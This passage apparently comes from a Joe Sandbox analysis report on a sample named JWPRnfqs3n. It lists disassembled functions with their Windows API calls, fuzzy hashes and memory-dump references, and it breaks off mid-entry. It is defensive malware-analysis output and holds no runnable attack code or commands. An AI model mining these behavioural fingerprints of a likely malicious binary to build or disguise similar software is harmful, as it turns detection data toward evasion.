Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 05863a0ca65dad14a150aadc62f1986de9898840a74c56b98f12bab0b48d9052
Instruction ID: 8e3907cd551dcbeb87bd811e3d01d8bae9cff225a02ff7fd11ea7bee90ef004f
Opcode Fuzzy Hash: 05863a0ca65dad14a150aadc62f1986de9898840a74c56b98f12bab0b48d9052
Instruction Fuzzy Hash: 7F317E31A00646AEDB64CFB4DC44FA67BB8FB01306F940165E921C35A1F735A8EDDBA4

Function 00858A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00858A30
PostMessageW.USER32(?,00000201,00000001), ref: 00858ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 00858AE2
PostMessageW.USER32(?,00000202,00000000), ref: 00858AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 00858AF8

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 5a7952c534f17b7d813ae362315f83a8cb489f1c3116c342ca713ccb8b453800
Instruction ID: 868e27c8b2bb2480a05904f23fe267368083de2c0752ed7d53a48a7eb77ed5da
Opcode Fuzzy Hash: 5a7952c534f17b7d813ae362315f83a8cb489f1c3116c342ca713ccb8b453800
Instruction Fuzzy Hash: 5831BF71500229EFDF14CFA8D94DA9E3BB5FB04316F10822AF925E71D1D7B09918DB91

Function 0085B1EC Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0085B204
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0085B221
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0085B259
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0085B27F
_wcsstr.LIBCMT ref: 0085B289

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: cf20dd940da6e970e152b7af6329c6fadedcf66fb6f88f0cd388f8689569e7df
Instruction ID: c1168932d84f64601e069d52673dbc61845ca165024d4accc2f0eeac70a0ba43
Opcode Fuzzy Hash: cf20dd940da6e970e152b7af6329c6fadedcf66fb6f88f0cd388f8689569e7df
Instruction Fuzzy Hash: 2E212531204214BAEB259B39AC09E7F7B98FF59721F104129FC04CA1A2EF61CC809760

Function 0088B14B Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

GetWindowLongW.USER32(?,000000F0), ref: 0088B192
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0088B1B7
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0088B1CF
GetSystemMetrics.USER32(00000004), ref: 0088B1F8
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00870E90,00000000), ref: 0088B216

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 0ce3cc4fc233fe4c25b1b43445c3e000d7af35611c94d3cdee880162988b591a
Instruction ID: 8ba0e897a904182b942a938056317a8d7838ae83ec277cf549afe023a8bd4b3e
Opcode Fuzzy Hash: 0ce3cc4fc233fe4c25b1b43445c3e000d7af35611c94d3cdee880162988b591a
Instruction Fuzzy Hash: 1E21B271A10655AFCB20AF78DC18A6A3BA4FB55321F144738FD32D71E1E7309861CB90

Function 00859307 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00859320

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00859352
__itow.LIBCMT ref: 0085936A
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00859392
__itow.LIBCMT ref: 008593A3

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 6c263dbc4926ba099bccc8cba0dc1eaa37ca4988c0db8982bd7586df90192e59
Instruction ID: 8d5aea6465166369452de3110c56d8298706ed5fde78379c968957ca28a893db
Opcode Fuzzy Hash: 6c263dbc4926ba099bccc8cba0dc1eaa37ca4988c0db8982bd7586df90192e59
Instruction Fuzzy Hash: 4121F531B00208FBDB10AA688C89EEE7BACFB58711F045065FE84D73D1E6B09D498792

Function 00875A4D Relevance: 7.6, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00875A6E
GetForegroundWindow.USER32 ref: 00875A85
GetDC.USER32(00000000), ref: 00875AC1
GetPixel.GDI32(00000000,?,00000003), ref: 00875ACD
ReleaseDC.USER32(00000000,00000003), ref: 00875B08

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: c9e603921011496cb68437148ffaea157a5a6c263cf158c0fd9feb6499819ab1
Instruction ID: e23e44190cb87cbd8350fd272b716da9251b648b9d1093b991ee663c30de7891
Opcode Fuzzy Hash: c9e603921011496cb68437148ffaea157a5a6c263cf158c0fd9feb6499819ab1
Instruction Fuzzy Hash: CE218B35A00214AFDB00EF68DC88AAABBE5FF48310F14C179E949D7362DA70EC00CB91

Function 008012F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 0080134D
SelectObject.GDI32(?,00000000), ref: 0080135C
BeginPath.GDI32(?), ref: 00801373
SelectObject.GDI32(?,00000000), ref: 0080139C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 7ddfed21e059697cad7341c68b8d779f7af8929821d21e9ae836541efb7845b3
Instruction ID: ed435448e5cd4fa4c192e73fa53bcfd5a9e71dc319e4d5f14ba2091806b16a2d
Opcode Fuzzy Hash: 7ddfed21e059697cad7341c68b8d779f7af8929821d21e9ae836541efb7845b3
Instruction Fuzzy Hash: 25215930800A08EFDF119F29DC48B6A7BB8FB10761F644226F810D62F1DB74A891DF91

Function 0085BC9E Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0085BCB3
_memcmp.LIBCMT ref: 0085BCD1
_memcmp.LIBCMT ref: 0085BCE4
_memcmp.LIBCMT ref: 0085BCFC
_memcmp.LIBCMT ref: 0085BD14

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: a814e13c129d4a28fc2794a481ded6521ef9f16fe3df0c5c0f60f2b5d6a61be0
Instruction ID: feef86b9f25f1853c4c170d4ee8ffccca6c5cae8c0a2d25c10a78e6b73c53c3d
Opcode Fuzzy Hash: a814e13c129d4a28fc2794a481ded6521ef9f16fe3df0c5c0f60f2b5d6a61be0
Instruction Fuzzy Hash: 280192716001197BDA047B15AD42FBBB75DFF7039DF184021FD19D6342EB54DE1482A9

Function 00864A93 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00864ABA
__beginthreadex.LIBCMT ref: 00864AD8
MessageBoxW.USER32(?,?,?,?), ref: 00864AED
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00864B03
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00864B0A

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: e71b825053d185700046ad616e92195317b359dfb94caa0b713eca56bc65b52f
Instruction ID: 96475fb852d78ba6919c082db01bd71daac94a89df80663e283a0346db916f0f
Opcode Fuzzy Hash: e71b825053d185700046ad616e92195317b359dfb94caa0b713eca56bc65b52f
Instruction Fuzzy Hash: E6114076908218BBCB018FACEC08E9F7FACFB45320F154269F925D32A1D674D9408BA0

Function 00858202 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 0085821E
GetLastError.KERNEL32(?,00857CE2,?,?,?), ref: 00858228
GetProcessHeap.KERNEL32(00000008,?,?,00857CE2,?,?,?), ref: 00858237
HeapAlloc.KERNEL32(00000000,?,00857CE2,?,?,?), ref: 0085823E
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00858255

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 6a6e40900e2d41f920321a7ebcc3206eb3d3959d9d208970fd955efbfdd42d8f
Instruction ID: d9ebd32212d901cd73cfba85be254bb4ff48d215bfa3135c85abc4680c10e7e3
Opcode Fuzzy Hash: 6a6e40900e2d41f920321a7ebcc3206eb3d3959d9d208970fd955efbfdd42d8f
Instruction Fuzzy Hash: 92014675200204EFDB208FAADC88D6B7FACFF9A756F50052AF909D2220DA318C14CB60

Function 0085710A Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?,?,?,00857455), ref: 00857127
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?,?), ref: 00857142
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?,?), ref: 00857150
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?), ref: 00857160
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00857044,80070057,?,?), ref: 0085716C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: 426a562b8bbeefa3b4a5fa51bdd83c337fb4f25daf991da5a8988d73da87949d
Instruction ID: b74576a230b12f65d6cbda314ac0e4bd79c9191ee4fffc2ed4a7023427958eff
Opcode Fuzzy Hash: 426a562b8bbeefa3b4a5fa51bdd83c337fb4f25daf991da5a8988d73da87949d
Instruction Fuzzy Hash: 2A018F72601619BBDB114F69EC44BAA7BADFF48792F148078FE04D2221EB31DD449BA0

Function 00865244 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00865260
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0086526E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00865276
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00865280
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 008652BC

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: a0f5cd344a5c0e8a62ab94390395c6fdf5cd489d9b83c15ca27ed08e5248ec43
Instruction ID: 27c26058e424a12ffbe2ff7c19bab39167ae1bc375c7802628a892dc8f9d335b
Opcode Fuzzy Hash: a0f5cd344a5c0e8a62ab94390395c6fdf5cd489d9b83c15ca27ed08e5248ec43
Instruction Fuzzy Hash: 51016935D01A2DDBCF00EFE8EC98AEDBB78FB09711F420456EA41F2241CB30555087A1

Function 0085810A Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00858121
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 0085812B
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 0085813A
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00858141
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00858157

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 1764e7c3c9f7d2c7e37326f8d390fe087ca66729950041b03bc5c01cbe92284f
Instruction ID: c5e79cc090830bcf725f8005db424d0e08c922595e0de9364a10f930922bc8b4
Opcode Fuzzy Hash: 1764e7c3c9f7d2c7e37326f8d390fe087ca66729950041b03bc5c01cbe92284f
Instruction Fuzzy Hash: 0BF0C274240704EFEB120FA9EC8CE673BACFF49755F500026FA45D2151DB609C05DB60

Function 0085C1E3 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 0085C1F7
GetWindowTextW.USER32(00000000,?,00000100), ref: 0085C20E
MessageBeep.USER32(00000000), ref: 0085C226
KillTimer.USER32(?,0000040A), ref: 0085C242
EndDialog.USER32(?,00000001), ref: 0085C25C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 775f5326922055e93abb1320e9efc961f026959adcd33b6fab137c65ff27061c
Instruction ID: 05c9559eb3b6c41ffcdd8eeea9c1654cf896531e4619c372fc740abd71496aab
Opcode Fuzzy Hash: 775f5326922055e93abb1320e9efc961f026959adcd33b6fab137c65ff27061c
Instruction Fuzzy Hash: C2018B305047049BEB209B54DD4EF967778FF10707F000669FA52E14E1DBF469989F50

Function 008013B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 008013BF
StrokeAndFillPath.GDI32(?,?,0083B888,00000000,?), ref: 008013DB
SelectObject.GDI32(?,00000000), ref: 008013EE
DeleteObject.GDI32 ref: 00801401
StrokePath.GDI32(?), ref: 0080141C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 25d5db6bafcfba5d5485972d90b053856879ea89e16492082fd912d3a08fe6ef
Instruction ID: 5d05edf4ad257f72b2dfa276c395b266e09ce4701d1822b65afdd0da70c233a8
Opcode Fuzzy Hash: 25d5db6bafcfba5d5485972d90b053856879ea89e16492082fd912d3a08fe6ef
Instruction Fuzzy Hash: 02F0C430004A08EFDF525F2AEC4CB593BB5FB11326F188234E529891F2CB3599A5DF54

Function 00812CFB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00820DB6: std::exception::exception.LIBCMT ref: 00820DEC
Part of subcall function 00820DB6: __CxxThrowException@8.LIBCMT ref: 00820E01

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 00807A51: _memmove.LIBCMT ref: 00807AAB

__swprintf.LIBCMT ref: 00812ECD

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00812D66

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: d34c5713fad29123c28023872fe540c0443df6b3242699dd5af27bf5e38d8cfc
Instruction ID: 275dc50031a3f2983f706be68cd186a1fd463cd7f426da5d7cede5d995a853f7
Opcode Fuzzy Hash: d34c5713fad29123c28023872fe540c0443df6b3242699dd5af27bf5e38d8cfc
Instruction Fuzzy Hash: B5916B715082159FCB14EF28D885CAFB7A8FF95720F00491DF495DB2A2EA20ED94CB53

Function 0086B93B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00804750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00804743,?,?,008037AE,?), ref: 00804770

CoInitialize.OLE32(00000000), ref: 0086B9BB
CoCreateInstance.OLE32(00892D6C,00000000,00000001,00892BDC,?), ref: 0086B9D4
CoUninitialize.OLE32 ref: 0086B9F1

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

Strings

.lnk, xrefs: 0086B99D, 0086B9AB

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: 6956cde6a23294a379ed27c3f3145366c952416309ca50d7128bd39acef84191
Instruction ID: 0dbbad2cfdf70183c2f074088b4824ee9e498066706b491fd2c47b4534cabcbe
Opcode Fuzzy Hash: 6956cde6a23294a379ed27c3f3145366c952416309ca50d7128bd39acef84191
Instruction Fuzzy Hash: 73A126756042059FCB00DF18C885D5ABBE5FF89328F158958F899DB3A2CB31ED85CB92

Function 0082501D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 008250AD

Part of subcall function 008300F0: __87except.LIBCMT ref: 0083012B

Strings

pow, xrefs: 00825085, 008250A2

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
